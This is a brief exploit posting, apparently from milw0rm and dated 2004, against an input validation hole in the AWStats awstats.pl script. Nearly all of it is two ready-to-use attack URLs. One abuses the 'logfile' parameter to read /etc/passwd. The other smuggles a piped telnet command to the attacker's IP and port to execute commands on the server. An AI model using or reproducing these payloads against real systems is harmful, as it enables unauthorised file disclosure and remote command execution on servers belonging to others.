AWStats Input Validation Hole in 'logfile'Example:

http://[target]/awstats.pl?filterrawlog=&rawlog_maxlines=5000&config=stats.jdims.info&framename=main&pluginmode=rawlog&log file=/etc/passwd

http://[target]/awstats.pl?filterrawlog=&amp;rawlog_maxlines=5000&amp;config=stats.jdims.info&amp;framename=main&amp;pluginmode=rawlog&amp;logfile=&amp;logfile=|telnet <your ip> <port>


# milw0rm.com [2004-08-21]